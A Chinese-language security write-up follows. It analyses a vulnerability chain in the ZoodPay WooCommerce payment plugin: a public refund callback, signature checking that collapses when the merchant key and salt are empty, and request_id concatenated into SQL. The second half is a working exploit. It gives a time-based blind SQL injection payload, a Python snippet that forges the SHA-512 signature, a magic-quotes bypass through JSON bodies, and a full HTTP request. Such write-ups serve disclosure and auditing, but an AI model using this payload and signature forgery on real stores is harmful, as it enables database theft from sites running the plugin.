ZoodPay WooCommerce 插件退款回调链路分析:公开入口、失效验签与未参数化 SQL
在审计 zoodpay 插件时,我关注到一条完整的风险链:
插件将退款回调暴露为公开 URL,通过全局 init 处理请求,仅依赖签名校验作为认证边界;而当 merchant_key 与 salt 缺失时,签名校验会退化失效。随后,外部可控的 request_id 被直接拼接进 SQL 查询,形成高风险数据流。
本地调试中,当前环境因为 WooCommerce 未激活,插件会在早期直接返回,因此链路默认不触发;但从源码设计看,只要 WooCommerce 正常启用,这条链路就是成立的。
退款处理函数被挂在全局 init 上:
zoodpay.php (line 542)
1
| add_action( 'init', 'Zoodpay_update_refund_status' );
|
真正的分发条件只有一条:
1
| if ( sanitize_text_field( isset( $_REQUEST['zoodpay_action'] ) ) && sanitize_text_field( $_REQUEST['zoodpay_action'] ) == "refund" )
|
也就是请求里只要带 zoodpay_action=refund,函数就会进入退款处理分支。这里没有独立路由、没有 nonce、没有来源校验、没有 method 限制。
漏洞点在于 zoodpay.php (line 499)
1 2 3
| $meta = $wpdb->get_results( "SELECT * FROM `" . $wpdb->postmeta . "` WHERE meta_key='_request_id' AND meta_value='" . $data['request_id'] . "'" );
|
代码直接将外部可控的 request_id 拼接进 SQL
签名计算逻辑在:
1 2 3 4 5
| $marchantKey = $zoodpay->get_option( 'zoodpay_merchant_key' ); $saltKey = base64_decode( $zoodpay->get_option( 'zoodpay_salt' ) );
$sign = $data['merchant_refund_reference'] . '|' . floatval( $data['refund_amount'] ) . '|' . $data['status'] . '|' . $marchantKey . '|' . $data['refund_id'] . '|' . htmlspecialchars_decode( $saltKey ); $signature = hash( 'sha512', $sign );
|
它依赖两个配置项:
- zoodpay_merchant_key
- zoodpay_salt
问题在于,代码没有在验签前检查这两个 secret 是否为空。如果它们缺失,系统不会拒绝请求,而是继续用空值参与签名计算。这样一来,所谓签名就退化成了基于公开字段的普通哈希,失去了身份认证意义。
(这是我在调试过程中发现的…….,断点走到这里这两个值直接为空了)
请求参数如何进入程序
代码支持两种输入格式:
- JSON body,见 zoodpay.php (line 469)
- 表单 POST,见 zoodpay.php (line 480)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| if ( $json = json_decode( file_get_contents( "php://input" ), true ) ) {
$data['merchant_refund_reference'] = sanitize_text_field( $json['refund']['merchant_refund_reference'] ); $data['refund_amount'] = sanitize_text_field( $json['refund']['refund_amount'] ); $data['refund_id'] = sanitize_text_field( $json['refund']['refund_id'] ); $data['status'] = sanitize_text_field( $json['refund']['status'] ); $data['request_id'] = sanitize_text_field( $json['refund']['request_id'] ); $data['declined_reason'] = sanitize_text_field( $json['refund']['declined_reason'] ); $data['signature'] = sanitize_text_field( $json['signature'] ); } else {
$data['merchant_refund_reference'] = sanitize_text_field( $_POST['refund']['merchant_refund_reference'] ); $data['refund_amount'] = sanitize_text_field( $_POST['refund']['refund_amount'] ); $data['refund_id'] = sanitize_text_field( $_POST['refund']['refund_id'] ); $data['status'] = sanitize_text_field( $_POST['refund']['status'] ); $data['request_id'] = sanitize_text_field( $_POST['refund']['request_id'] ); $data['declined_reason'] = sanitize_text_field( $_POST['refund']['declined_reason'] ); $data['signature'] = sanitize_text_field( $_POST['signature'] ); }
|
这说明退款处理逻辑可被外部请求直接驱动,不依赖用户交互流程。这里发包的话还是选择 json 啊,因为 wordpress 有个 Magic Quotes 机制,自动转义用户输入中的某些字符,具体来说,它会在单引号 (‘)、双引号 (“)、反斜杠 (“) 和空字符 (NULL) 前自动添加反斜杠。但是 json 表单的话不会,这就可以绕过了。
1 2 3 4 5 6 7 8 9 10
| "refund":{ "merchant_refund_reference":"1234", "refund_amount":"100", "refund_id":"refund_001", "status":"Approved", "request_id":"'or if(length((select database())) = 9 ,sleep(0.05),1)#", "declined_reason":null }, "signature":"650dad5edb5dd30c423b77841a37fe1c3e32aa47edaf06bdcfa1b9c4293ba46c7b8db20406b70d94679c75e2539a63c072aabc22d12aa223ab9034059280a3de" }
|
这个 signature 可以通过脚本计算。
1 2 3 4
| import hashlib
sign = "1234|100|Approved||refund_001|" print(hashlib.sha512(sign.encode()).hexdigest())
|
完整数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| POST /?zoodpay_action=refund HTTP/1.1 Host: localhost:8000 Content-Length: 351 sec-ch-ua-platform: "macOS" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146" Content-Type: application/json sec-ch-ua-mobile: ?0 Origin: http://localhost:8000 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8000/wp-admin/plugins.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Connection: keep-alive
{"refund":{"merchant_refund_reference":"1234","refund_amount":"100","refund_id":"refund_001","status":"Approved","request_id":"'or if(length((select database())) = 9 ,sleep(0.05),1)#","declined_reason":null},"signature":"650dad5edb5dd30c423b77841a37fe1c3e32aa47edaf06bdcfa1b9c4293ba46c7b8db20406b70d94679c75e2539a63c072aabc22d12aa223ab9034059280a3de"}
|
